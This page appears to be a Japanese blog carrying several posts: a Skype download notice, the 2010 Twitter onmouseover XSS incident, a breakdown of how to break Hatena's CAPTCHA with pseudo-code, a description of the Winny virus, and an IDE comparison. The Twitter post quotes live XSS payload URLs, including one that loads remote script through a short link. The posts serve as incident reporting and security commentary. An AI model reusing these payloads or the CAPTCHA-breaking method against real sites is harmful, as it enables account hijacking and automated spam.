Hatena::ブログ(Diary)

やねうらお−ノーゲーム・ノーライフ このページをアンテナに追加 RSSフィード

GT-Rの買取ならここですわ。どこよりも高く買取ってもらえるはず。お勧め!GT-R 買取
電王戦出場記念! 書籍化されたで! 監修したで!(`ω´) 絶版なってしもた Kindle版で復活!! 記事書いたで!
解析魔法少女美咲ちゃん マジカル・オープン!

YaneuLabs / やねうら王公式 / やねうらおにメール / twitter / プロフィール

 

2012-05-24 Skypeのダウンロードが未知の技術すぎる件

[] Skypeダウンロードが未知の技術すぎる件  Skypeのダウンロードが未知の技術すぎる件 - やねうらお−ノーゲーム・ノーライフ を含むブックマーク  Skypeのダウンロードが未知の技術すぎる件 - やねうらお−ノーゲーム・ノーライフ のブックマークコメント


今日何気にSkypeを立ち上げようと思ったらファイルが破損していたので再度公式サイトからダウンロードしようと思ったのだけど…。


WindowsSkypeダウンロード

http://www.skype.com/intl/ja/get-skype/on-your-computer/windows/downloading/

f:id:yaneurao:20120524233321p:image


デスクトップSkypeダウンロード中です。」


な、、なんだと…


このサイトは強制的にデスクトップ上にダウンロードさせられちゃうのか。どんな未知の技術を使ってるんだ…。もしかしてC:\Windows\System32とかにも強制的にダウンロードさせられたりするのか。ブラウザ脆弱性を突いて強制的にフォルダを指定してたりするのか?怖すぎるだろSkype

ssss 2012/05/24 23:43 skypeは過去の安定バージョン(3.8とか4.1とか)を使うのがお約束だと思っていましたが、今は最新版の方がむしろ良かったりするのでしょうか。

trickarttrickart 2012/05/24 23:47 すべてのブラウザの脆弱性を突いて来るとは・・・
Skype恐ろしすぎワロタ

yaneuraoyaneurao 2012/05/24 23:49 ↑*2 私にはわかりません。なんかバージョンが上がるごとに使いにくくなってたりするので過去のバージョンがあるなら戻したいぐらいなのですが。

特にMac版のほうはコンタクトリストを小さなウインドゥでfloatさせておく機能が前回のバージョンアップでなくなってしまって、場所を取るので困っています。

↑*1 いや、マジ怖いですね。背筋が凍りました。

ssss 2012/05/26 22:39 古いバージョンはoldversion.comやhttp://mac.oldapps.com/を利用すればよいのでは?
http://www.oldversion.com/macintosh/
http://mac.oldapps.com/skype.php
インストールするとすぐに新しいバージョンのダウンロード→アップデートが始まってしまうので、
ツール→設定→詳細から、大急ぎで自動アップデートをオフにします ^^

yaneuraoyaneurao 2012/05/26 22:41 ↑おお、そんな便利サイトがあるんですね!情報ありがとうございます。

unun 2012/05/30 14:05 うーん COMODODoragon(ブラウザ名)では自動ダウンロードはされなかったなぁ。 IE9の話ですよね?

yaneuraoyaneurao 2012/05/30 16:29 IE9と言えども、自動で“デスクトップ”にダウンロードさせることは不可能なはずです、はい。backdoorかexploitか何かがなければ…。

とわとわ 2012/09/18 04:49 この文章中におけるデスクトップと言うのは恐らく"お使いのコンピュータ"あたりをさす表現として
翻訳時に使ったんだろうと思い英語版サイトを見たところ、
You're now downloading Skype to your desktop.
となってて翻訳時の誤訳でなくそもそもデスクトップだった事に驚き。
Chromeでは自動でダウンロードフォルダに対してダウンロードされますね。

2010-09-22 twitterのspamスクリプト踏んじゃった

[] twitterspamスクリプト踏んじゃった  twitterのspamスクリプト踏んじゃった - やねうらお−ノーゲーム・ノーライフ を含むブックマーク  twitterのspamスクリプト踏んじゃった - やねうらお−ノーゲーム・ノーライフ のブックマークコメント

↓ こんなの踏んじゃった。マウスを'status'のところにhoverさせると submitボタンを押すのかな?

最新ツイート: Matsta http://t.co/@"onmouseover="document.getElementById('status').value='RT Matsta';$('.status-update-form').submit();"class="modal-overlay"/ Retweeted by you 3分 ago

一回ログアウトしてログインしなおすとなおるようだ。twitter公式Webからログアウト出来ない人は、これ→ http://twitter.com/logoutクリックすべし。



詳しいことは続報を…コメント欄で誰かよろしく…。


■ 続報その1

Twitterの公式Webクライアントhttp://twitter.com/ からログイン )に クロスサイトスクリプティングXSS)の問題があるようで、本人が意図しないツイートやRTが多発しています。

悪意を持った攻撃を受ける危険性があるので、ひとまず、Twitterの公式Webからは急ぎログオフすることをお勧めします。今のところ他のログインの方式を使ったアプリからの利用は問題無い模様です。


【緊急】Twitter公式Webから今すぐログオフを。XSSの問題(9/21 20時JST

http://blogs.itmedia.co.jp/sakamoto/2010/09/twitterwebxss92.html

しばらくTwitterの公式Webは使えないということかな?


■ 続報その2


今日Twitterに『RainbowTwtr』がこんにちは!!した経緯

http://togetter.com/li/52475


■ 続報その3


短縮URLJavaScriptコード仕込めるから短縮URLってアドレス確認せずに踏むの危険なんだな…。

恒例とまではいかないかも知れないがTwtterのXSS脆弱性を利用した悪質なコードが出回っているそうだ[register]。シンプルURLに悪意のあるJavaScriptコードを付けるというだけだが(http://dev.twitter.com/search?query=%253C/script...)、スクリプトにはTwitterユーザcookieが盗むコードが書かれている。カスペルスキー研究者によれば、コードURL短縮サービス(bit.ly)を利用して隠されており、既に10万以上の人がクリックしているとの事だ。NoScriptのようなものを使うか、短縮URLの本URLが分かるようなアドオン/拡張機能を入れておく事が望ましいだろう。


Twitter XSSが出ている

http://yebo-blog.blogspot.com/2010/09/twitter-xss.html

■ 続報その4

f:id:yaneurao:20100921221807j:image

http://twitter.com/hapinano/status/25102437219


■ 続報その5


690 名前軍人(福岡県)[] 投稿日:2010/09/21(火) 22:33:32.96 ID:nOM0Fv/E0 [4/4]

http://x.jp/#@"onmousemove="$('.wrapper').fadeTo('slow',0.5);"/

とりあえずこんな感じで jQueryが使えるからもうめちゃくちゃ

710 名前ノンフィクション作家(関西地方)[sage] 投稿日:2010/09/21(火) 22:35:15.02 ID:+iHeElTJ0 [2/2]

晒しても大丈夫っぽいので

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

http://t.co/@"onmouseover="document.getElementById('status').value='RT test_nau';$('.status-update-form').submit();"style="background:red"/

http://t.co/@"onmouseover="document.getElementById('status').value='RT Unlevin ';$('.status-update-form').submit();"class="modal-overlay"/

俺が見つけたのはこの3つ

■ 続報その6

更新:パッチでの対応が完全に完了しました。[日本時間: 22:50]

http://status.twitter.jp/post/1161495941/xss

もうこの問題は修正されたようですね。


■ 続報その7


twitterの公式ブログのほうで詳しいアナウンスがありました。


マウスオーバーの」問題についての全容

http://blog.twitter.jp/2010/09/blog-post_22.html

他のユーザーは、もう一歩改良してユーザーが認識しないうちに勝手に元のツイートをリツイートするコードを追加しました。

それって「改良」なのかな?「改造」か「変更」、もしくは(twitterの運営側から見れば)改悪のような気がするんだけど…。


コードを手直しすることをプログラマはよく「改良」とか「修正」とか言うけど、それっておかしくね?手直しによって、必ずくなるわけでもなければ、しくなるわけでもないので、くもしくもなっていない場合は、「改良」、「修正」ではなくて、「改造」とか「変更」と呼ぶべきじゃないかと思うのだけど、あんまりそういう言い方はしないよね…。なんでだろ…。

Ta(ryTa(ry 2010/09/21 23:34 前の日記のおちんぽなうってこれの予兆だったりしてw

zoozoo 2010/09/21 23:43 http://status.twitter.jp/post/1161495941/xss

yaneuraoyaneurao 2010/09/22 03:47 ↑*2 おちんぽなうがspamみたく投稿されまくったら、発信源として世界的に恥ずかしい思いをするところでした…。
↑*1 情報、ありがとうございます。

2009-08-02 はてなのCAPTCHAを破るプログラムは30分あれば書ける

[] はてなのCAPTCHAを破るプログラムは30分で書ける  はてなのCAPTCHAを破るプログラムは30分で書ける - やねうらお−ノーゲーム・ノーライフ を含むブックマーク  はてなのCAPTCHAを破るプログラムは30分で書ける - やねうらお−ノーゲーム・ノーライフ のブックマークコメント

CAPTCHAとは、スパムコメントなどを防止するための認証画像のことである。


f:id:yaneurao:20090802051310g:image


それにしても、はてなのCAPTCHAはひどい。無いよりマシという考え方もあるのでそれについてはあまり議論する気は無いのだが、それにしてもこれを破るプログラムは30分あれば十分書ける。


具体的には、はてなのCAPTCHAには8つの好ましくない特徴と、2つの脆弱性がある。


■ 8つの好ましくない特徴


・画像自体のサイズが小さすぎる。→ こんなに小さいと探索量(計算量)が小さくて済む。

・フォントにゆがみがない → フォントはある程度変形させたほうが良い。変形させてあるとテンプレートマッチングがしにくくなる。

・フォントが固定。→ フォントは毎回変えたほうが良い。

・フォントを回転させていない → フォントは文字ごとにある程度ランダムに回転させた方が良い。

・フォントサイズが一定 → フォントサイズは文字ごとにある程度ランダムに変化させた方が良い。

・フォントの色がすべて同じ → 文字は文字ごとに色をわずかに変えたほうが抽出しにくくなる

・背景画像が単調 → これでは簡単に文字だけを抽出できてしまう。

・使われている文字の種類が少なすぎる。0〜9とa〜fまでの16種類しかない。


この8つの好ましくない特徴だけ見ても、これはCAPTCHAとしてはかなり出来が悪いと言わざるを得ない。何を思ってこんなひどいCAPTCHAを採用したんだろう。


しかしそれよりひどい決定的な脆弱性が二つある。


■ はてなのCAPTCHAに見られる2つの脆弱性


1) 文字の表示位置が毎回同じ


何とも信じられないことだが、文字の表示位置が毎回同じである。文字フォントの種類も同じ、文字のフォントサイズも同じなので、対象位置固定でテンプレートマッチングを行なえばほぼ確定する。


2) 画像を要求されるごとにスクラッチの位置が異なる


f:id:yaneurao:20090802050933p:image


http://d.hatena.ne.jp/captcha?key=XXXXXXX


の部分がCAPTCHA画像だが、このURLの画像は要求されるごとにスクラッチの位置が異なる。


f:id:yaneurao:20090802051034g:image

f:id:yaneurao:20090802051033g:image

f:id:yaneurao:20090802051032g:image

f:id:yaneurao:20090802051031g:image


このように要求されるごとにスクラッチの位置を変える実装は好ましくない。(1回しか画像要求のリクエストに応えないようにするか、何度リクエストされても同じ画像を返すようにするのが普通の実装だと思う。)


これなら論理積をとるだけで綺麗に文字が抽出できる。

2階調化したあと2つの画像の論理積をとったもの。


f:id:yaneurao:20090802051108p:image


わずかにノイズが残っている。


2階調化したあと3つの画像の論理積をとると…


f:id:yaneurao:20090802051103p:image


ノイズは完全に消えた。


1)だけでもほぼ100%CAPTCHAを突破できるが、1)と2)とを組み合わせれば100%突破できる。


■ CAPTCHAは終わった技術なのか?


CAPTCHAは少し工夫するだけでBOTによる突破は非常に困難になる。仮に突破に成功するBOTが出現したとしても、CAPTCHAの特性を少し変更すれば、それに対応するBOTを書くには非常に時間がかかる作業であり、このいたちごっこは、(常識的には)CAPTCHA作成側のほうが圧倒的に有利である。


なぜならCAPTCHAを生成したり、そのアルゴリズムを変更したりするのは簡単にできるが、それを正しく認識するプログラムを書くのは遙かに大変だからである。


はてなのCAPTCHAは今回見たように100%の確率で突破できるプログラムを書くのは容易だが、だからと言ってすぐにこのCAPTCHAに修正すべきだと私は言うつもりはない。


はてなの運営側は、BOTによる書き込みが増えてきたらそのときに変更すればいいと考えているのだと思う。CAPTCHAはどうせ作成側が圧倒的に有利なのでそれくらいのゆるい運用でもいいという考え方も成り立つ…のかな。

hogehoge 2009/08/02 07:39 前にもほぼ同じトピックがあったような

matarillomatarillo 2009/08/02 07:53 はてなのCAPTCHAは簡単に破れる. http://blogs.wankuma.com/nagise/archive/2007/10/26/104428.aspx

yaneuraoyaneurao 2009/08/02 07:59 ↑その記事は今回の記事にある脆弱性2)には触れていないので、ちょっと甘いかなぁという気がします。

む 2009/08/02 13:14 参照に元記事載せないのは何故?

め 2009/08/02 14:41 人間に解読困難なCAPTCHAが出回っているのをみると、
作成側が圧倒的に有利とまでは言い切れないのでは?

yaneuraoyaneurao 2009/08/02 15:30 ↑*2 元記事というのは↑*4のことだと思いますが、私はその存在を知らなかったからです。今回の記事を書くのに際して私はその記事を全く参考にしていません。

↑*1 フォントサイズが文字ごとに異なり、かつ、sin波で横方向のゆがみがあるだけでテンプレートマッチング出来ないので自動認識させるプログラムを書くのはすこぶる困難になりますし、文字色と同じ色でスクラッチがあれば、フィルタで除去できないので、そのあと何らかのOCRを通しても認識率は限りなく0%になります。Yahooの文字認証が好例だと思います。

今回のはてなのCAPTCHAは、テンプレートマッチングで突破できるのが最大の問題なのですが、実は、位置固定でフォント固定ですからテンプレートマッチングする必要すらなく、それぞれの文字のどこか数ピクセルreadして、その値から紐付けされている文字を取り出すだけです。

疑似コードで書けば、
for(int i=0;i<width;i+=step)
{
 for(int j=0;j<chara_width;++j)
  hash += getPixel(i + j , XXX) * j;
 moji[i] = { XXX0,XXX1,XXX2,XXX3,…,XXXA,XXXB,…,XXXF}.findIndexOf(hash);
}

たったこれだけなので…。

kzyskzys 2009/08/02 15:52 2についてはこちらでふれられていました。参考まで。
http://d.hatena.ne.jp/asannou/20071030

yaneuraoyaneurao 2009/08/02 15:57 ↑へー、ほんとだ。よく見つけてきましたね…。

なまえ なまえ  2009/08/02 16:50 続編をお書きになるならこちらを踏まえて
http://takagi-hiromitsu.jp/diary/20080308.html

yaneuraoyaneurao 2009/08/02 17:04 ↑ああ、blog主がCAPTCHAのレベルを選択できるようにするというのは素晴らしいアイデアですね。

rspubrspub 2009/08/02 23:15 本題とは違いますが、reCAPTCHAのアイデアは頭いいなあと思いました。
http://en.wikipedia.org/wiki/ReCAPTCHA
http://www.youtube.com/watch?v=Aszl5avDtek

ssssss 2009/08/12 11:33 普通にノイズ消さなくてもテンプレートマッチングで以前に
解く実験をしてみたので、実装が弱いことは知ってました。
(昔、googleを解いてみようとがんばってました)

出る文字自体が少ないので95%ぐらいで解けたのですが、
記事の仕様は知らなかった(w
逆に、負荷が掛かるので完全なミスでしょうね。
(サーバキャッシュを有効化すれば、ソース変えずに済むかも知れませんね)

CAPTCHAは、XSSやCSRFには有効なのでblogへの返信ぐらいであれば、
私も十分だと思います(むしろノイズなくてもいい)。

う 2009/09/10 01:44 今のCAPTCHAも破れる方法はあるよ。

http://www.soemin.net/2009/09/rotated-characters-captchas-breaking.html

2009-06-14 ウイルス対策ソフトは本当に必要なのか?

[] ウイルス対策ソフトは本当に必要なのか?  ウイルス対策ソフトは本当に必要なのか? - やねうらお−ノーゲーム・ノーライフ を含むブックマーク  ウイルス対策ソフトは本当に必要なのか? - やねうらお−ノーゲーム・ノーライフ のブックマークコメント

免疫をもつコンピュータ―生命に倣うネットワークセキュリティ (岩波科学ライブラリー)

いまどき、ウイルス対策ソフトは本当に必要なのか?


情報流出で社会問題にまで発展したWinnyウイルス(通称キンタマ)を例にあげて考えてみよう。


Winnyウイルスについては免疫をもつコンピュータ―生命に倣うネットワークセキュリティ (岩波科学ライブラリー)に詳しい。この本のタイトルは、電波系に思えるが、そうではない。免疫システムでウイルスが防げないのかという真面目な研究のようで、それなりに成果も出ているようだ。


この本のなかには「免疫をもつコンピュータ」のその詳しい仕組みまでは書かれていないが、私の推測によると、おそらくファイルコピーやプロセス生成などのAPIをhookしておいて、怪しい挙動をするものを検出して、二度目からは即座にシャットアウトするというもののようだ。まだ、その怪しい挙動をしたプログラムによって行なわれた変更をロールバックする機能を持っているようだ。

この本によるとWinnyウイルスの仕組みは次のようになっている。


1.「新しいフォルダ(2)」を実行するとその子プロセスとしてsvchost.exeおよびfile.exeが生成する。

2.file.exeは「(値の設定なし).exe」というファイルを実行し、その次にmjet.exeファイルを実行している。(このファイル名は変わりうるので、このファイル名をキーワードにして免疫システムで排除を行なうだけでは不十分。)

3.svchost.exeは、元のウイルスである「新しいフォルダ(2)」と同一のファイルであり、特定のフォルダ(C:\WINDOWS\system32\drivers)にコピーされた後に名前の変更が行なわれているだけ。また、このとき、コピーされたsvchostは、次回Windows起動時に自動的に実行するように設定。

4.「新しいフォルダ(2)」は実行を終了する。(タスクマネージャで見たときにユーザーが不審に思うのを回避するためか?) svchost.exeは動き続ける。

5.「(値の設定なし).exe」は、file.exeが自分自身を特定のフォルダ内にコピーして再実行し、さらにmjet.exeをまた別のフォルダに作成して実行を行なう。

(以下略)


結局、何故こんな単純な動作をするウイルスを防げないかというと、Windows


・あるプログラムによって変更されたファイルを調査する機能が無い。

ユーザー権限で実行ファイルを作れてしまう。(ファイルの拡張子が".exe"のものは作れなくていいのに…。ファイルを解凍したときに困る気もするが、それなら実行権限が付与されるまでexeファイルを実行できなくていいような)

ユーザー権限で実行ファイルを書き換えることが出来る。(あるプログラムが他の実行ファイルを書き換えたいという動機はあまり無いと思う)

・アイコン表示だと、実行ファイルなのかフォルダなのか、わかりにくい。


など、何かちょっとした機能があればもっと被害は減りそうな気はする。

ただ、ユーザー権限で実行してても、何かの脆弱性を利用して管理者権限に昇格できてしまうので、結局、


ユーザー権限でプログラムを実行できてしまう。(ユーザーは、管理者が許可した以外のプログラムは実行できなくていいのに…)

・あるプロクラムによって変更されたファイルをまとめてロールバックする機能


などがあるといいのかも知れない。


・スタートアップが書き換えられた場合、いつ、どのプログラムによって書き換えられたか追跡する機能。

・それぞれのプロセスが何をしているのかタスクマネージャで確認する機能(通信とかファイルの書き換えとかに関して)

・プログラムが特定のフォルダにアクセスしようとしたときに警告を出す機能。

・プログラムはすべて仮想化環境で実行し、実行が終わればその仮想化環境を消滅させる。ファイルだけは(仮想化環境の外にある)ストレージに書き込むが、その書き込みはすべて監視されていて、どのファイルを書き換えたかが追跡でき、いつでも元の状態にロールバックできる。


うーん。これだけやれば被害は1/100ぐらいにはなるんだろうけども、ウイルスは100%防げるのかと言うと…そうでもない気もする。何か脆弱性を利用して管理者権限に昇格して、BIOSあたりにコピーされればそれまでだしなぁ…と思ったり。


そんなわけでコメント欄で「ぼくのかんがえたせきゅりてぃたいさく」の作文を募集。

ななちななち 2009/06/14 01:13 ブラウザのファイルを保存する機能がいらないなぁ。これを無くせばユーザーが新たに実行ファイルを実行してしまう心配がない。

いまどき、ブラウザだけ動けば8割の人はそれで事足りるのだろうから。

gpuppurgpuppur 2009/06/14 01:59 セキュリティについてあれこれ考えていては本当にコンピュータでやりたい事に集中できなくなってしまう。
シンプルにネット用と作業用PC(ネットに繋げない)の2台を用意すると作業用PCは安全だけど不便そうです。

tsuyoshitsuyoshi 2009/06/14 02:00 >・ユーザー権限でプログラムを実行できてしまう。(ユーザーは、管理者が許可した以外のプログラムは実行できなくていいのに…)
についてはデフォルトの認証レベルが高いと警告でるようにできますよね(署名が正しいorブロック解除してないと警告)、ただウィルスが正式な署名してたらアウトですが、それでもIEとかみたいにダウンロードしたファイルにちゃんと属性つけてれば確実に警告されるんですが...ある時点から実行ファイルが生成されたら無条件で上記属性つける機能はあってもいいかも

免疫系モデル終了のお知らせ免疫系モデル終了のお知らせ 2009/06/14 12:12 自然界の免疫系は
 1. ウィルスは確率的に徐々にしか変化(突然変異)しない
 2. ウィルスの害の有無は容易に判別できる(正常細胞を破壊するか否か)
という2つの仮定の上にタンパク質ベースの類似度に基づく識別をベースとするしくみとして成立しているわけで、
どちらかの仮定が外れるケースについて有効なモデルたり得ないと思いまーす。
実際、エイズウィルスみたく自己改変を激しく繰り返すようなケースにうまく対応できていませんし
人間のプログラミング能力を鑑みるに、ソフトウェアとしてのウィルスはむしろ免疫系モデルに対するエイズウィルスと見なすべき。
(人間が直接改変してもいいし、全自動で激しく自己改変するプログラムも書こうと思えば書き得る。)

以下免疫系モデル以外の方策を模索してみるテスト。
真に問題なのはプログラムを単にプログラムと一般的にとらえる限り、
その振る舞いの範囲について有効な形式的証明を見いだすことが非常に困難(しばしば存在すらしない)ことと、
プログラムの動作目的に悪意があるか否か、プログラムコードやふるまいから精密に自動判別することが困難なことです。
これは、OSの脆弱性除去は別途行うとして、自己複製型やリソース消費(あるいは破壊)型ウィルス対策もとりあえず省略するとして、
情報放流型の振る舞いについては全てのプログラムについて
 1. 情報の移動元ドメインと移動先ドメイン
 2. 何の認証を得て移動を行うのか
 3. 一連の移動で使用するリソース
を仕様として事前申告させて、それから外れる振る舞いを動的にはじくこと、
および仕様ベースでウィルスか否か判別するパターンベースを流通させれば一挙に解決し得る。
たとえば、Winnyであれば
1. 特定のポートから情報を受け取り、キャッシュ領域に格納して、再び特定のポートから放出する。
2. その際データを改変せず、かつタイマの使用も厳密に外部事象依存である
  (プログラムの勝手な振る舞いとして、何らかの情報をタイミング等にコード化して外に出す余地が存在しない)
3. ユーザードメインにあるファイルをキャッシュに移動する際にはユーザーの認証を得るし、認証と対象ファイルの関係づけはOSがしくみを提供する
という仕様の下でそれに従って動くなら、その振る舞いは高い確率で正当なものでありウィルスとは峻別できます。
誤認識は、仕様を記述する語彙を増やしつつパターンベースの拡充を図ることで改善を図る。

yaneuraoyaneurao 2009/06/14 13:56 > ソフトウェアとしてのウィルスはむしろ免疫系モデルに対するエイズウィルスと見なすべき。

これは名言かも知れない…。

metanestmetanest 2009/06/18 21:33 やねさんとは微妙な因縁のあるあの人がその昔「エイズ型コンピュータウイルス」なんて本を書いてますなw

yaneuraoyaneurao 2009/06/18 21:58 あーほんとだ…。まあ、あの人はそんなに深い考えは断じて持っていないはずなので、たまたま…ということなのでしょうけど。

foxfox 2009/06/20 02:04 ヒューリスティックエンジンを売りにしている AntiVir
のフリーバージョンを最も敏感な状態にして使っている
のですが、先日なんてことない普通の(技術に関する)
ウェブサーフィン中に警告が出ました。

どうも何か仕込まれたページのキャッシュに反応した模
様(NoScript で信頼できるサイトも制限しているので
それ以上の被害はない…と思いたい)。

で、Winny 関連で過去色々漁った役に立ちそうな情報を。

WinnyのDownフォルダをインターネットゾーンにする
http://takagi-hiromitsu.jp/diary/20060302.html

Unicodeで拡張子を偽装された実行ファイルの防御方法
http://d.hatena.ne.jp/hasegawayosuke/20061222/p1

グループ・ポリシーでWinnyの実行を禁止する
http://www.atmarkit.co.jp/fwin2k/win2ktips/723stopwny/stopwny.html

実行させたくないアプリケーションを指定する
http://losttechnology.jp/Tips/disallowrun.html

2008-12-07 Eclipse vs Visual Studio

[] Eclipse vs Visual Studio  Eclipse vs Visual Studio - やねうらお−ノーゲーム・ノーライフ を含むブックマーク  Eclipse vs Visual Studio - やねうらお−ノーゲーム・ノーライフ のブックマークコメント


JavaScriptの入門書(http://d.hatena.ne.jp/yaneurao/20081202)の記事のコメント欄で、次のような意見を頂戴した。


WebApp屋 2008/12/05 00:25

まさか、ASP.NETを推されるとは思いませんでした。

なにゆえ??

言語はともかく、ほかのすべてがJavaの後追いしてるだけでは?


yaneurao 2008/12/05 02:11

ASP.NETの利点はVisualStudioが使えるという一言に尽きると思いますが。


WebApp屋 2008/12/05 09:38

なるほど。

ビジネス環境の違いを理解しました。

業務アプリ屋にはそこはデメリットに感じます。

VisualStuidoの生産性はともかく、過去バージョンの保守でインストール等の手間が発生するので。当然ライセンスの管理等も含みます。

#Java系のIDEは固めておいて、展開すればOK

開発環境全仮想化するにしても、どんどん必要スペックがあがっているので、今のところ現実解ではないと感じております。

趣味レベルの話になってしまいますが、業務アプリ開発用としてのIDEは圧倒的にEclipseの方が優れていると感じています。最近ではEclipseのためにJavaをチョイスしております。

私は、Webアプリを専門でやっているわけではないので、上の人に対する正確で客観性のある回答を出来そうにない。そこで、専門で開発に従事されている人の意見をお聞きしたい。コメント欄でフォロー or trackbackをいただけるとありがたい。


一応、私の考えていることを以下に長々と書いておくが、比較的Microsoft側に偏った意見であることも事前に申し上げておく。


■ ライセンス料の問題


Visual Web DeveloperのExpress Editionは無料。

サーバーとして使う、Windows Server 2003 Web Editionは42,000円。


よほど小規模のサイトだと、これらのライセンス料が問題になることがあるかも知れないが、業務系のWebアプリの場合、開発するための人件費に何百万円もかかるのが普通であって、開発ツールやOSにかかる費用なんて無視できるほど小さいと思う。


※ ただし、私は、Microsoft MVPで、Visual Studio Team Systemを無料で使わせてもらっている立場なので、Visual Web DeveloperのExpress EditionがWeb開発に十分なのかどうかは使っていないので知らない。


■ 大規模なWebサイトの開発


大規模なWebサイトの開発に関わっているような人は、国内でもごく少数だと思うので、大半の人のは関係ないのかも知れないが、一応思っていることを書いておく。


大規模Webサイトの場合、パソコンを何十台〜何百台も用意して、かつ、冗長化してホスティングするのが現在のところ一般的であり(→[24時間365日] サーバ/インフラを支える技術 ~スケーラビリティ、ハイパフォーマンス、省力運用)、その場合、OSなどのライセンス料が問題になる。こういう場合は、Windowsサーバーでホスティングするのはあまり現実的ではないと思う。


それ以前に、大規模WebサイトWindows Serverでホスティングする場合、DBの冗長性をどうやって持たせるのかだとか、DBサーバーやWebサーバー、ロードバランサーなどの役割を動的に変更するようなシステムをどうやって構築するのかだとかそういったことを考え出すと、Windows Serverでの運営は一筋縄ではいかない。そのへんまでAll In OneでWindows Serverが面倒を見て欲しい気はするのだが…。


■ VB.NET / C#でのWebサイトの開発


いまや、Windows用のビジネスアプリの開発はC++,VBから、C#やVB.NETでの開発に移行しているのが普通だと思う。私がここ数年で請け負った仕事はすべてC#だった。


Windowsログラマにとって、C#かVB.NETはいまや必修の言語となっていると言っても過言ではない。


ASP.NETでの開発言語には、C#やVB.NET , C++/CLIが使える。(C++/CLIで開発しようと言う人がいるとはあまり思えないが)


あらたに別の言語(Perl,PHP,Java,etc…)を習得する必要がない。.NETプログラマにとって、Web開発のときに.NET Frameworkのすべてが使えるというのはとても大きな魅力だろう。また、ビジネスアプリのために書いたコードを流用することだって出来る。



■ LINQ to Entities


DBアプリケーションにおいて、一番面倒なのは、DBの設計と、DBへのアクセスである。

LINQ to Entitiesならば、テーブル定義をGUIから編集すればあとはO/Rマッピングされて自動的にテーブルへアクセスするクラスが使える。


JavaでO/Rマッピングするなら、よく使われるのはHibernateだろうけど、LINQのように言語に統合されているわけではないので、Hibernateを使うほうのコードは冗長な気は少しする。


またLINQ to Entitiesの場合、クエリ式は式木(Expression Tree)に変換され、サーバーサイドでその式木が実行され、クエリの結果だけ返すことが許されるが、Hibernateはこのような仕組みがないのでクエリの書き方によってはずいぶんパフォーマンス的に違いが出ると思う。


※ ただし、LINQ自体がそんなに早くない。(→「DataTable.Select vs LINQ」 http://d.hatena.ne.jp/akiramei/20081120/1227195768 )


※ Visual Studio2008のテーブルデザイナはまだ作りかけという感じがしなくもない。このへんは次期Visual Studioに期待というところか…。


※ Hibernate、O/Rするまでの設定が面倒。マッピングファイルとか何で手でXMLを書かなきゃならんのか…と思った記憶が。


■ インストールの手間


VisualStuidoの生産性はともかく、過去バージョンの保守でインストール等の手間が発生するので。当然ライセンスの管理等も含みます。

#Java系のIDEは固めておいて、展開すればOK

この部分、気になっているのだけど、私と認識が違いすぎる。


・Eclipse

・JDK

・Hibernate

・Apache

・MySQL / PostgreSQL


少なくとも上記のソフトの最新版を拾ってきてインストールする必要はあるんじゃないかと思うのだけど。むしろ、インストールはVisual Studioのほうが楽。


※ また、Windowsログラマなら、Visual Studioはすでにインストールされているのが普通だろうから、それならプロジェクトファイルをダブルクリックすればVisual Studioが起動して、F6でビルドすればすぐにテストできる。Apacheの設定やらMySQLの設定やらしなくて済むのでプロジェクトをdeployする手間は比較にならないと思うのだけど。


また、上記のソフトをインストールするときに、MySQL 4.1を使って開発してたら、もうMySQL6に移行していて、MySQL 4.1はバグありのまま開発終了してるのでMySQL6用に移行しないといけないだとかなったら、ソースの書き換えが発生すると思う。


あと、Hibernateの開発が終了してたらどうなるのだろう?5年後や10年後もHibernateの開発は続いている保証がどこにあるのだろう?


※ そもそも、Hibernateはいまも存続してるプロジェクトなのかな?公式サイト(http://www.hibernate.org/ )を見ようと思ったら、繋がらないのだけど…。


※ Open Sourceのプロジェクトって、いつ無くなってもおかしくないのが最大のリスクだと思う。最新版をこまめにチェックするのも手間だし、何か既知の脆弱性をかかえたままプロジェクトが終了になれば、そのプロジェクトは利用できないも同然になる。


※ Visual Studioなら、いま仮に初代ASP.NETのプロジェクトファイルを持ってきてもプロジェクト変換ウィザードで変換すればたいていそのまま動く(私はそのまま動かなかった経験がない)。5年や10年後のVisual StudioでもいまASP.NETで書いているアプリは動き続けると思う。例えば、LINQ to SQLはdisconになったけど、10年後でもおそらく使うことは出来るだろうし、今後もたぶんbug fixぐらいはされると思う。


■ IDEとしてどちらが優れているか


EclipseとVisual StudioとではIDEとしてどちらが優れているのか?


私は、正直Visual Studioの環境もカスタマイズはほとんどせずに使っているのでどちらが優れているかという比較は出来そうにない。


Visual Studioはカスタマイズせずとも、十分な機能を兼ね備えているし、Visual Studioのバージョンが上がるごとにカスタマイズしなおすのが手間だというのもある。


※ Eclipseのほうはpluginをいろいろ入れれば相当使いやすくなるらしく、Visual Studioにも、もっと拡張性が欲しいとは思う。


※ Visual Studio 2008のリファクタリング機能やUMLで設計する機能は、まだまだ作りかけという気がしなくもない。


デバッガの機能に限って言えば、Visual Studioのほうが優れていると思う。例えば、マルチスレッド関係のデバッグはEclipseのほうはいろいろ問題があった気がするのだけど、私はEclipseは最近触っていないので事情はよく知らない。


あとは、私がよく利用する「インスタンス単位でブレークポイントを指定する」(→http://d.hatena.ne.jp/NyaRuRu/20070614)ようなことは、Eclipseでは出来ない。これはEclipseの問題ではなく、JDKの問題のような気もする。


■ まとめ


そんなわけであまり公平なジャッジが出来ているとは自分でも思えないのでコメント欄でフォロー頼んます。

B*B* 2008/12/07 15:51 >■ インストールの手間
(自分も業務ではLinux系の受注が多く、Microsoftとは反対の立場に偏っているであろうと、先に申し上げておきます)

まず、やねさんは多くのLinux(PC_Unix含む)環境がリポジトリ管理により、その手のアプリケーションが一括で定期的に最新版になり、かつ古いバージョンも保守されている事をあまり重要と認識されていないのではと考えます。

本コメントにより、やねさん提唱の疑問点は大半が解決したと考えます。

tnktnk 2008/12/07 16:07 お、やねさんにしては弱気ですね。

ところでEclipseでもインスタンス毎のデバッグは可能です。まず普通にブレークポイントしかけます。次にデバッグパースペクティブの変数ビューから該当インスタンス上で右クリックすると「インスタンス・ブレークポイント」てのがあるのでこれを使います。

ブレークポイントのフィルターとして実現されているようなのですが、ブレークポイントのプロパティからは設定できないので判り難いには違いないです。

が、UIを伴っている点ではVisual Studioよりマシかもしれませんねw

yaneuraoyaneurao 2008/12/07 16:38 > かつ古いバージョンも保守されている事をあまり重要と認識されていないのではと考えます。

古いバージョンも、本当に保守されるんでしょうか?新しいバーションが出るとコミッタの興味の大半がそっちに行って、「新しいバージョン出したから、もうサポートしない」ってことにはならないでしょうか?

